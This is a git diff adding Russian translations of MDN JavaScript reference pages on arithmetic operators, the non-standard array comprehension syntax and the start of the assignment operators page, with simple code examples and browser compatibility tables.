+<p><strong>Арифметические операции</strong> принимают в качестве операндов числовые значения (это может быть и литерал и переменная) и возвращают результат в виде одного числового значения. Стандартными арифметическими операциями являются сложение (<code>+</code>), вычитание (<code>-</code>), умножение (<code>*</code>) и деление (<code>/</code>).</p>
+
+<h2 id="Сложение"><a name="Addition">Сложение (+)</a></h2>
+
+<p>Оператор сложения возвращает сумму числовых операндов или объединяет строки.</p>
+
+<h3 id="Syntax" name="Syntax">Синтаксис</h3>
+
+<pre class="syntaxbox"><strong>Operator:</strong> x + y
+</pre>
+
+<h3 id="Examples" name="Examples">Примеры</h3>
+
+<pre class="brush: js">// Number + Number -&gt; сложение
+1 + 2 // 3
+
+// Boolean + Number -&gt; сложение
+true + 1 // 2
+
+// Boolean + Boolean -&gt; сложение
+false + false // 0
+
+// Number + String -&gt; конкатенация
+5 + "foo" // "5foo"
+
+// String + Boolean -&gt; конкатенация
+"foo" + false // "foofalse"
+
+// String + String -&gt; конкатенация
+"foo" + "bar" // "foobar"
+</pre>
+
+<h2 id="Вычитание_-"><a name="Subtraction">Вычитание (-)</a></h2>
+
+<p>Оператор вычитания вычитает один операнд из другого и возвращает разницу.</p>
+
+<h3 id="Syntax_2" name="Syntax_2">Синтаксис</h3>
+
+<pre class="syntaxbox"><strong>Operator:</strong> x - y
+</pre>
+
+<h3 id="Examples_2" name="Examples_2">Примеры</h3>
+
+<pre class="brush: js">5 - 3 // 2
+3 - 5 // -2
+"foo" - 3 // NaN</pre>
+
+<h2 id="Деление"><a name="Division">Деление (/)</a></h2>
+
+<p>Оператор деления производит деление его операндов, где левый операнд - делимый, а правый - делитель.</p>
+
+<h3 id="Syntax_3" name="Syntax_3">Синтаксис</h3>
+
+<pre class="syntaxbox"><strong>Operator:</strong> x / y
+</pre>
+
+<h3 id="Examples_3" name="Examples_3">Примеры</h3>
+
+<pre class="brush: js">1 / 2      // возвращает 0.5 в JavaScript
+1 / 2      // возвращает 0 в Java
+// (так числа не с плавающими точками)
+
+1.0 / 2.0  // возвращает 0.5 и в JavaScript и в Java
+
+2.0 / 0    // возвращает Infinity в JavaScript
+2.0 / 0.0  // тоже возвращает Infinity
+2.0 / -0.0 // возвращает -Infinity в JavaScript</pre>
+
+<h2 id="Умножение_*"><a name="Multiplication">Умножение (*)</a></h2>
+
+<p>Оператор умножения возвращает произведение операндов.</p>
+
+<h3 id="Syntax_4" name="Syntax_4">Синтаксис</h3>
+
+<pre class="syntaxbox"><strong>Operator:</strong> x * y
+</pre>
+
+<h3 id="Examples_4" name="Examples_4">Примеры</h3>
+
+<pre class="brush: js">2 * 2 // 4
+-2 * 2 // -4
+Infinity * 0 // NaN
+Infinity * Infinity // Infinity
+"foo" * 2 // NaN
+</pre>
+
+<h2 id="Остаток_от_деления"><a name="Remainder">Остаток от деления (%)</a></h2>
+
+<p>Оператор возвращает целый остаток от деления левого операнда на правый. Возвращаемое значение всегда получает знак делимого, а не делителя.  Он использует встроенную функцию <code>modulo</code>, для получения результата, которая является целочисленным остатком деления <code>var1</code> на <code>var2</code> — например— <code>var1</code> modulo <code>var2</code>. <a href="http://wiki.ecmascript.org/doku.php?id=strawman:modulo_operator" title="http://wiki.ecmascript.org/doku.php?id=strawman:modulo_operator">Есть предложение добавить оператор modulo в будущие версии ECMAScript</a>, с той разницей, что оператор будет брать знак делителя, а не делимого.</p>
+
+<h3 id="Syntax_5" name="Syntax_5">Синтаксис</h3>
+
+<pre class="syntaxbox"><strong>Оператор:</strong> var1 % var2
+</pre>
+
+<h3 id="Examples_5" name="Examples_5">Примеры</h3>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="number token">12</span> <span class="operator token">%</span> <span class="number token">5</span> <span class="comment token">// 2</span>
+<span class="operator token">-</span><span class="number token">1</span> <span class="operator token">%</span> <span class="number token">2</span> <span class="comment token">// -1</span>
+<span class="number token">NaN</span> <span class="operator token">%</span> <span class="number token">2</span> <span class="comment token">// NaN</span>
+<span class="number token">1</span> <span class="operator token">%</span> <span class="number token">2</span> <span class="comment token">// 1</span>
+<span class="number token">2</span> <span class="operator token">%</span> <span class="number token">3</span> <span class="comment token">// 2</span>
+<span class="operator token">-</span><span class="number token">4</span> <span class="operator token">%</span> <span class="number token">2</span> <span class="comment token">// -0</span>
+<span class="number token">5.5</span> <span class="operator token">%</span> <span class="number token">2</span> <span class="comment token">// 1.5</span></code></pre>
+
+<h2 id="Возведение_в_степень_**"><a name="Exponentiation">Возведение в степень (**)</a></h2>
+
+<p>Оператор возведения в степень возвращает результат первого операнда в степень. это, <code>var1</code><sup><code>var2</code></sup>, в предыдущем выражении, где <code>var1</code> и <code>var2</code> - переменные. Он право ассоциативен. <code>a ** b ** c</code> равно <code>a ** (b ** c)</code>.</p>
+
+<h3 id="Синтаксис">Синтаксис</h3>
+
+<pre class="syntaxbox"><strong>Оператор:</strong> var1 ** var2</pre>
+
+<h3 id="Замечания">Замечания</h3>
+
+<p>Во многих языках, таких как PHP и Python и других, есть оператор возведения возведения в степень (обычно ^ или **), оператор определён имеющим приоритет выше, чем у унарных операторов, таких как унарный + и унарный -, но есть несколько исключений. Например, в Bash оператор ** создан имеющим приоритет ниже, чем у унарных операторов. В JavaScript невозможно написать двухсмысленное выражение, т.е. вы не можете ставить унарный оператор (<code>+/-/~/!/delete/void/typeof</code>) непосредственно перед базовым числом.</p>
+
+<pre class="brush: js">-2 ** 2;
+// 4 в Bash, -4 в других языках.
+// Это некорректно в JavaScript, т.е. операция двухсмыслена.
+
+
+-(2 ** 2);
+// -4 в JavaScript, намерения автора однозначны.</pre>
+
+<h3 id="Примеры">Примеры</h3>
+
+<pre class="brush: js">2 ** 3 // 8
+3 ** 2 // 9
+3 ** 2.5 // 15.588457268119896
+10 ** -1 // 0.1
+NaN ** 2 // NaN
+
+2 ** 3 ** 2 // 512
+2 ** (3 ** 2) // 512
+(2 ** 3) ** 2 // 64</pre>
+
+<p>Изменим знак результата возведения в степень:</p>
+
+<pre class="brush: js">-(2 ** 2) // -4</pre>
+
+<p>Насильная установка основания как отрицательного числа:</p>
+
+<pre class="brush: js">(-2) ** 2 // 4</pre>
+
+<h2 id="Инкремент"><a name="Increment">Инкремент (++)</a></h2>
+
+<p>Оператор инкремента увеличивает на единицу(инкрементирует) операнд и возвращает значение.</p>
+
+<ul>
+ <li>Если операция используется как постфикс, с оператором после операнда (например, x++), значение операнда возвращается, а затем увеличивается на единицу.</li>
+ <li>Если используется префиксная форма с оператором перед операндом (например, ++x), значение операнда возвращается увеличенным на единицу.</li>
+</ul>
+
+<h3 id="Syntax_6" name="Syntax_6">Синтаксис</h3>
+
+<pre class="syntaxbox"><strong>Оператор:</strong> x++ или ++x
+</pre>
+
+<h3 id="Examples_6" name="Examples_6">Примеры</h3>
+
+<pre class="brush: js">// Постфиксный
+var x = 3;
+y = x++; // y = 3, x = 4
+
+// Префиксный
+var a = 2;
+b = ++a; // a = 3, b = 3
+</pre>
+
+<h2 id="sect1"></h2>
+
+<h2 id="Декремент_--"><a name="Decrement">Декремент (--)</a></h2>
+
+<p>Операция декремента уменьшает на 1 (отнимает единицу) свой операнд и возвращает значение.</p>
+
+<ul>
+ <li>Если операция используется как постфикс (например, x--), значение операнда возвращается, а затем уменьшается на единицу.</li>
+ <li>Если используется префиксная форма (например, --x), значение операнда возвращается уменьшенным на единицу.</li>
+</ul>
+
+<h3 id="Syntax_7" name="Syntax_7">Синтаксис</h3>
+
+<pre class="syntaxbox"><strong>Оператор:</strong> x-- или --x
+</pre>
+
+<h3 id="Examples_7" name="Examples_7">Примеры</h3>
+
+<pre class="brush: js">// Постфиксный
+var x = 3;
+y = x--; // y = 3, x = 2
+
+// Префиксный
+var a = 2;
+b = --a; // a = 1, b = 1
+</pre>
+
+<h2 id="Унарный_минус_-"><a name="Unary_negation">Унарный минус (-)</a></h2>
+
+<p>Унарный минус ставится перед своим операндом и возвращает его математическое отрицание.</p>
+
+<h3 id="Syntax_8" name="Syntax_8">Синтаксис</h3>
+
+<pre class="syntaxbox"><strong>Оператор:</strong> -x
+</pre>
+
+<h3 id="Examples_8" name="Examples_8">Примеры</h3>
+
+<pre class="brush: js">var x = 3;
+y = -x; // y = -3, x = 3
+</pre>
+
+<h2 id="Унарный_плюс"><a name="Unary_plus">Унарный плюс</a> (+)</h2>
+
+<p>Оператор унарный плюс предшедствует своему операнду и оценивает его, пытается преобразовать его в число, если он им не является. Хотя, унарное отрицание (-) также конвертирует не числа, унарный плюс - быстрейший и предпочитаемый способ конвертирования чего-либо в число потому, что он не выполняет каких-либо операций с числом. Он может конвертировать строковые представления целых и чисел с плавающей точкой, а также нестроковые значения <code>true</code>, <code>false</code> и <code>null</code>. Поддерживаются числа в десятичном и шестнадцатиричном (с префиксом "0x") формате. Отрицательные числа тоже поддерживаются (но не 16-ричные). Если он не может вычислить конкретное значение, выполнится как <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/NaN">NaN</a>.</p>
+
+<h3 id="Syntax_9" name="Syntax_9">Синтаксис</h3>
+
+<pre class="syntaxbox"><strong>Оператор:</strong> +x
+</pre>
+
+<h3 id="Examples_9" name="Examples_9">Примеры</h3>
+
+<pre class="brush: js">+3     // 3
++"3"   // 3
++true  // 1
++false // 0
++null  // 0
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Примечание</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Изначальное определение</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.3')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Определено в нескольких секциях специфии: <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.6">Additive operators</a>, <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.5">Multiplicative operators</a>, <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.3">Postfix expressions</a>, <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.4">Unary operators</a>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-postfix-expressions')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Определено в нескольких секциях специфии: <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-additive-operators">Additive operators</a>, <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-multiplicative-operators">Multiplicative operators</a>, <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-postfix-expressions">Postfix expressions</a>, <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-unary-operators">Unary operators</a>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES7', '#sec-postfix-expressions')}}</td>
+   <td>{{Spec2('ES7')}}</td>
+   <td>Добавлен <a href="https://github.com/rwaldron/exponentiation-operator">Оператор возведения в степень</a>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-postfix-expressions')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("javascript.operators.arithmetic")}}</p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/JavaScript/Reference/Operators/Assignment_Operators">Операторы присваивания</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/operators/array_comprehensions/index.html b/files/ru/web/javascript/reference/operators/array_comprehensions/index.html
new file mode 100644
index 0000000000..c2bed1585e
--- /dev/null
+++ b/files/ru/web/javascript/reference/operators/array_comprehensions/index.html
@@ -0,0 +1,241 @@
+---
+title: Упрощенный синтаксис создания массивов
+slug: Web/JavaScript/Reference/Operators/Array_comprehensions
+translation_of: Archive/Web/JavaScript/Array_comprehensions
+---
+<div class="warning"><strong>Non-standard. Do not use!</strong><br>
+Сокращенный синтаксис создания массивов не стандартен. В будущем используйте {{jsxref("Array.prototype.map")}}, {{jsxref("Array.prototype.filter")}}, {{jsxref("Functions/Arrow_functions", "Стрелочные функции", "", 1)}} и {{jsxref("Operators/Spread_operator", "spread syntax", "", 1)}}.</div>
+
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>Синтаксис <strong>array comprehension</strong> - это JavaScript-выражение, которое позволяет быстро создавать новый массив из существующего. Аналогичные сокращения существуют во многих других языках программирования.</p>
+
+<p><a href="##Differences_to_the_older_JS1.7.2FJS1.8_comprehensions">Ниже</a> показаны различия со старым синтаксисом Array Comprehension в SpiderMonkey, основанном на черновиках для ECMAScript 4.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">[for (x of итерируемый_объект) x]
+[for (x of итерируемый_объект) if (условие) x]
+[for (x of итерируемый_объект) for (y of итерируемый_объект) x + y]
+</pre>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Внутри сокращения допустимо использование двух видов компонентов:</p>
+
+<ul>
+ <li>{{jsxref("Statements/for...of", "for...of")}} и</li>
+ <li>{{jsxref("Statements/if...else", "if")}}</li>
+</ul>
+
+<p>Итерация for-of всегда является первым компонентом. Допустимо использование нескольких for-of итераций или условных операторов if.</p>
+
+<p>Сокращённый синтаксис создания массивов был предложен к стандартизации в ECMAScript 2016, он предоставлял удобный сокращения для создания новых массивов из других массивов. Сокращения могут быть использованы вместо вызовов {{jsxref("Array.prototype.map", "map()")}} и {{jsxref("Array.prototype.filter", "filter()")}} или их комбинаций.</p>
+
+<p>Следующий пример показывает, как из массива чисел создаётся новый массив чисел с с удвоенным значением.</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> numbers <span class="operator token">=</span> <span class="punctuation token">[</span><span class="number token">1</span><span class="punctuation token">,</span> <span class="number token">2</span><span class="punctuation token">,</span> <span class="number token">3</span><span class="punctuation token">,</span> <span class="number token">4</span><span class="punctuation token">]</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> doubled <span class="operator token">=</span> <span class="punctuation token">[</span><span class="keyword token">for</span> <span class="punctuation token">(</span>i <span class="keyword token">of</span> numbers<span class="punctuation token">)</span> i <span class="operator token">*</span> <span class="number token">2</span><span class="punctuation token">]</span><span class="punctuation token">;</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>doubled<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// logs 2,4,6,8</span></code></pre>
+
+<p>Это эквивалентно следующей операции с {{jsxref("Array.prototype.map", "map()")}}:</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> doubled <span class="operator token">=</span> numbers<span class="punctuation token">.</span><span class="function token">map</span><span class="punctuation token">(</span>i <span class="operator token">=</span><span class="operator token">&gt;</span> i <span class="operator token">*</span> <span class="number token">2</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>Сокращённый синтаксис может быть использован также для выбора элементов по определённому условию. Вывод четных чисел:</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> numbers <span class="operator token">=</span> <span class="punctuation token">[</span><span class="number token">1</span><span class="punctuation token">,</span> <span class="number token">2</span><span class="punctuation token">,</span> <span class="number token">3</span><span class="punctuation token">,</span> <span class="number token">21</span><span class="punctuation token">,</span> <span class="number token">22</span><span class="punctuation token">,</span> <span class="number token">30</span><span class="punctuation token">]</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> evens <span class="operator token">=</span> <span class="punctuation token">[</span><span class="keyword token">for</span> <span class="punctuation token">(</span>i <span class="keyword token">of</span> numbers<span class="punctuation token">)</span> <span class="keyword token">if</span> <span class="punctuation token">(</span>i <span class="operator token">%</span> <span class="number token">2</span> <span class="operator token">===</span> <span class="number token">0</span><span class="punctuation token">)</span> i<span class="punctuation token">]</span><span class="punctuation token">;</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>evens<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// logs 2,22,30</span></code></pre>
+
+<p>{{jsxref("Array.prototype.filter", "filter()")}} может использоваться для той же цели:</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> evens <span class="operator token">=</span> numbers<span class="punctuation token">.</span><span class="function token">filter</span><span class="punctuation token">(</span>i <span class="operator token">=</span><span class="operator token">&gt;</span> i <span class="operator token">%</span> <span class="number token">2</span> <span class="operator token">===</span> <span class="number token">0</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>Стили операторов {{jsxref("Array.prototype.map", "map()")}} и {{jsxref("Array.prototype.filter", "filter()")}} можно одновременно использовать в одном сокращённом выражении. Далее фильтруются только четные числа, а затем создаётся массив с их удвоенным значением:</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> numbers <span class="operator token">=</span> <span class="punctuation token">[</span><span class="number token">1</span><span class="punctuation token">,</span> <span class="number token">2</span><span class="punctuation token">,</span> <span class="number token">3</span><span class="punctuation token">,</span> <span class="number token">21</span><span class="punctuation token">,</span> <span class="number token">22</span><span class="punctuation token">,</span> <span class="number token">30</span><span class="punctuation token">]</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> doubledEvens <span class="operator token">=</span> <span class="punctuation token">[</span><span class="keyword token">for</span> <span class="punctuation token">(</span>i <span class="keyword token">of</span> numbers<span class="punctuation token">)</span> <span class="keyword token">if</span> <span class="punctuation token">(</span>i <span class="operator token">%</span> <span class="number token">2</span> <span class="operator token">===</span> <span class="number token">0</span><span class="punctuation token">)</span> i <span class="operator token">*</span> <span class="number token">2</span><span class="punctuation token">]</span><span class="punctuation token">;</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>doubledEvens<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// logs 4,44,60</span></code></pre>
+
+<p>Квадратные скобки обозначают неявный блок. Новый переменные (такие как  "<strong>i"</strong> в примере выше) трактуются, как если бы они объявлялись с использованием {{jsxref("Statements/let","let")}}. Это значит, что эти переменные недоступны извне.</p>
+
+<p>Входными данными необязательно может быть массив; также можно использовать <a href="/ru/docs/Web/JavaScript/Guide/Iterators_and_Generators" title="en-US/docs/JavaScript/Guide/Iterators and Generators">итераторы и генераторы</a>.</p>
+
+<p>Даже строки могут подаваться на вход; можно делать то же, что с <code>filter</code> и <code>map</code> (но с массивоподобными объектами):</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> str <span class="operator token">=</span> <span class="string token">'abcdef'</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> consonantsOnlyStr <span class="operator token">=</span> <span class="punctuation token">[</span><span class="keyword token">for</span> <span class="punctuation token">(</span>c <span class="keyword token">of</span> str<span class="punctuation token">)</span> <span class="keyword token">if</span> <span class="punctuation token">(</span><span class="operator token">!</span><span class="punctuation token">(</span><span class="regex token">/[aeiouAEIOU]/</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">test</span><span class="punctuation token">(</span>c<span class="punctuation token">)</span><span class="punctuation token">)</span> c<span class="punctuation token">]</span><span class="punctuation token">.</span><span class="function token">join</span><span class="punctuation token">(</span><span class="string token">''</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// 'bcdf'</span>
+<span class="keyword token">var</span> interpolatedZeros <span class="operator token">=</span> <span class="punctuation token">[</span><span class="keyword token">for</span> <span class="punctuation token">(</span>c <span class="keyword token">of</span> str<span class="punctuation token">)</span> c <span class="operator token">+</span> <span class="string token">'0'</span> <span class="punctuation token">]</span><span class="punctuation token">.</span><span class="function token">join</span><span class="punctuation token">(</span><span class="string token">''</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// 'a0b0c0d0e0f0'</span></code></pre>
+
+<p>Для предупреждения конвертации в число (в данном конкретном примере) использвалась функция {{jsxref("Array.prototype.join", "join()")}}.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Простые_сокращения">Простые сокращения</h3>
+
+<pre class="brush:js">[for (i of [ 1, 2, 3 ]) i*i ];
+// [ 1, 4, 9 ]
+
+var abc = [ "A", "B", "C" ];
+[for (letters of abc) letters.toLowerCase()];
+// [ "a", "b", "c" ]</pre>
+
+<h3 id="Сокращения_с_условным_оператором_if">Сокращения с условным оператором "if"</h3>
+
+<pre class="brush: js">var years = [ 1954, 1974, 1990, 2006, 2010, 2014 ];
+[for (year of years) if (year &gt; 2000) year];
+// [ 2006, 2010, 2014 ]
+[for (year of years) if (year &gt; 2000) if(year &lt; 2010) year];
+// [ 2006], the same as below:
+[for (year of years) if (year &gt; 2000 &amp;&amp; year &lt; 2010) year];
+// [ 2006]
+</pre>
+
+<h3 id="Сокращения_в_сравнении_с_map_и_filter">Сокращения в сравнении с <code>map</code> и <code>filter</code></h3>
+
+<p>Простой способ понять синтаксис Array Comprehension - это сравнить его с методами Array {{jsxref("Array.map", "map")}} и {{jsxref("Array.filter", "filter")}}:</p>
+
+<pre class="brush: js">var numbers = [ 1, 2, 3 ];
+
+numbers.map(function (i) { return i * i });
+numbers.map(i =&gt; i*i);
+[for (i of numbers) i*i ];
+// all are [ 1, 4, 9 ]
+
+numbers.filter(function (i) { return i &lt; 3 });
+numbers.filter(i =&gt; i &lt; 3);
+[for (i of numbers) if (i &lt; 3) i];
+// all are [ 1, 2 ]
+</pre>
+
+<h3 id="Сокращения_с_двумя_массивами">Сокращения с двумя массивами</h3>
+
+<p>Использование двух итераторов for-of для работы с двумя массивами:</p>
+
+<pre class="brush: js">var numbers = [ 1, 2, 3 ];
+var letters = [ "a", "b", "c" ];
+
+var cross = [for (i of numbers) for (j of letters) i+j];
+// [ "1a", "1b", "1c", "2a", "2b", "2c", "3a", "3b", "3c" ]
+
+var grid = [for (i of numbers) [for (j of letters) i+j]];
+// [
+//  ["1a", "1b", "1c"],
+//  ["2a", "2b", "2c"],
+//  ["3a", "3b", "3c"]
+// ]
+
+[for (i of numbers) if (i &gt; 1) for (j of letters) if(j &gt; "a") i+j]
+// ["2b", "2c", "3b", "3c"], the same as below:
+
+[for (i of numbers) for (j of letters) if (i &gt; 1) if(j &gt; "a") i+j]
+// ["2b", "2c", "3b", "3c"]
+
+[for (i of numbers) if (i &gt; 1) [for (j of letters) if(j &gt; "a") i+j]]
+// [["2b", "2c"], ["3b", "3c"]], not the same as below:
+
+[for (i of numbers) [for (j of letters) if (i &gt; 1) if(j &gt; "a") i+j]]
+// [[], ["2b", "2c"], ["3b", "3c"]]
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<p>Изначально было в черновике ECMAScript 2015, но исключено в ревизии 27 (Август 2014). Смотрите старые ревизии ES2015 для уточнения семантики.</p>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoDesktop("30") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoMobile("30") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Специфика_работы_SpiderMonkey">Специфика работы SpiderMonkey</h2>
+
+<ul>
+ <li>{{jsxref("Statements/let", "let")}} не поддерживается как идентификатор, так как он доступен только в  JS версии 1.7 и XUL-скриптах.</li>
+ <li>Деструктуризация сокращений не поддерживается ({{bug(980828)}}).</li>
+</ul>
+
+<h2 id="Отличия_от_старой_версии_JS1.7JS1.8"><a id="#Differences_to_the_older_JS1.7.2FJS1.8_comprehensions" name="#Differences_to_the_older_JS1.7.2FJS1.8_comprehensions"></a>Отличия от старой версии JS1.7/JS1.8</h2>
+
+<div class="warning">Сокращения из JS1.7/JS1.8 были исключены из движка Gecko, начиная с версии 46 ({{bug(1220564)}}).</div>
+
+<p><strong>Старый синтаксис (не используйте его больше!):</strong></p>
+
+<pre class="brush: js example-bad line-numbers  language-js"><code class="language-js"><span class="punctuation token">[</span>X <span class="keyword token">for</span> <span class="punctuation token">(</span>Y <span class="keyword token">in</span> Z<span class="punctuation token">)</span><span class="punctuation token">]</span>
+<span class="punctuation token">[</span>X <span class="keyword token">for</span> each <span class="punctuation token">(</span>Y <span class="keyword token">in</span> Z<span class="punctuation token">)</span><span class="punctuation token">]</span>
+<span class="punctuation token">[</span>X <span class="keyword token">for</span> <span class="punctuation token">(</span>Y <span class="keyword token">of</span> Z<span class="punctuation token">)</span><span class="punctuation token">]</span></code></pre>
+
+<p>Различия:</p>
+
+<ul>
+ <li>Сокращения в ESNext создают одну область для элемента "for" вместо области для всех элементов for в целом.
+  <ul>
+   <li>Old: <code>[()=&gt;x for (x of [0, 1, 2])][1]() // 2</code></li>
+   <li>New: <code>[for (x of [0, 1, 2]) ()=&gt;x][1]() // 1, каждая итерация создаёт свежую связку с x. </code></li>
+  </ul>
+ </li>
+ <li>Сокращения в ESNext начинаются с "for" вместо присваиваемой переменной.
+  <ul>
+   <li>Old: <code>[i * 2 for (i of numbers)]</code></li>
+   <li>New: <code>[for (i of numbers) i * 2]</code></li>
+  </ul>
+ </li>
+ <li>Сокращения в ESNext могут иметь несколько компонентов <code>if</code> и <code>for</code>.</li>
+ <li>Сокращения в ESNext работают только с итерациями вида <code>{{jsxref("Statements/for...of", "for...of")}}</code> и не работают с <code>{{jsxref("Statements/for...in", "for...in")}}</code>.</li>
+</ul>
+
+<p>Смотрите <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1220564#c42">Bug 1220564, comment 42</a> для внесения предложений по коду.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Statements/for...of", "for...of")}}</li>
+ <li>{{jsxref("Operators/Generator_comprehensions", "Сокращённые описания генераторов", "" ,1)}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/operators/assignment_operators/index.html b/files/ru/web/javascript/reference/operators/assignment_operators/index.html
new file mode 100644
index 0000000000..aa1d42facf
--- /dev/null
+++ b/files/ru/web/javascript/reference/operators/assignment_operators/index.html
@@ -0,0 +1,430 @@
+---
+title: Операторы присваивания
+slug: Web/JavaScript/Reference/Operators/Assignment_Operators
+tags:
+  - JavaScript
+  - Оператор
+translation_of: Web/JavaScript/Reference/Operators#Assignment_operators
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p><strong>Оператор присваивания</strong> присваивает левому операнду значение, основанное на значении правого операнда.</p>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Основной оператор присваивания - это знак равно (<code>=</code>), он и присваивает значение правого операнда, левому. То есть - <code>x = y</code> присваивает значение переменной <code>y</code>, переменной <code>x</code>. Другие операторы присваивания, как следует из приведенной ниже таблицы с определениями и примерами, являются сокращениями стандартных операций.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Имя</th>
+   <th>Сокращенный оператор</th>
+   <th>Смысл</th>
+  </tr>
+  <tr>
+   <td><a href="#Assignment">Присваивание</a></td>
+   <td><code>x = y</code></td>
+   <td><code>x = y</code></td>
+  </tr>
+  <tr>
+   <td><a href="#Addition_assignment">Присваивание со сложением</a></td>
+   <td><code>x += y</code></td>
+   <td><code>x = x + y</code></td>
+  </tr>
+  <tr>
+   <td><a href="#Subtraction_assignment">Присваивание с вычитанием</a></td>
+   <td><code>x -= y</code></td>
+   <td><code>x = x - y</code></td>
+  </tr>
+  <tr>
+   <td><a href="#Multiplication_assignment">Присваивание с умножением</a></td>
+   <td><code>x *= y</code></td>
+   <td><code>x = x * y</code></td>
+  </tr>
+  <tr>
+   <td><a href="#Division_assignment">Присваивание с делением</a></td>
+   <td><code>x /= y</code></td>
+   <td><code>x = x / y</code></td>
+  </tr>
+  <tr>
+   <td><a href="#Remainder_assignment">Присваивание по модулю</a></td>
+   <td><code>x %= y</code></td>
+   <td><code>x = x % y</code></td>
+  </tr>
+  <tr>
+   <td><a href="#Left_shift_assignment">Присваивание с левым сдвигом</a></td>
+   <td><code>x &lt;&lt;= y</code></td>
+   <td><code>x = x &lt;&lt; y</code></td>
+  </tr>
+  <tr>
+   <td><a href="#Right_shift_assignment">Присваивание с правым сдвигом</a></td>
+   <td><code>x &gt;&gt;= y</code></td>
+   <td><code>x = x &gt;&gt; y</code></td>
+  </tr>
+  <tr>
+   <td><a href="#Unsigned_right_shift_assignment">Присваивание с беззнаковым сдвигом вправо</a></td>
+   <td><code>x &gt;&gt;&gt;= y</code></td>
+   <td><code>x = x &gt;&gt;&gt; y</code></td>
+  </tr>
+  <tr>
+   <td><a href="#Bitwise_AND_assignment">Присваивание с побитовым AND</a></td>
